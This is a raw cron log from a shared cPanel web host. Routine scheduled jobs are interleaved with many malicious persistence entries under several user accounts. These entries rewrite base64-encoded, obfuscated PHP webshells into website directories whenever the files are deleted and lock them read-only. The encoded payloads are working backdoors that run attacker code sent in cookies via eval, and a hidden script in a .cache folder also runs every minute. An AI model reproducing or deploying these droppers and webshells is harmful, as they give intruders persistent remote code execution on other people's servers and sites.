Jun  7 05:12:02 medusa CROND[25572]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:12:02 medusa CROND[25573]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:12:02 medusa CROND[25574]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:12:02 medusa CROND[25575]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:12:02 medusa CROND[25578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:12:02 medusa CROND[25590]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:13:02 medusa CROND[27019]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:13:02 medusa CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:13:02 medusa CROND[27030]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:13:02 medusa CROND[27031]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 05:13:02 medusa CROND[27032]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:13:02 medusa CROND[27033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:13:02 medusa CROND[27034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:13:02 medusa CROND[27035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:13:02 medusa CROND[27036]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:13:02 medusa CROND[27040]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:13:02 medusa CROND[27043]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:13:02 medusa CROND[27045]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:13:02 medusa CROND[27052]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:13:02 medusa CROND[27053]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:14:01 medusa CROND[28354]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:14:01 medusa CROND[28355]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:14:01 medusa CROND[28353]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:14:01 medusa CROND[28356]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:14:01 medusa CROND[28357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:14:01 medusa CROND[28358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:14:01 medusa CROND[28359]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
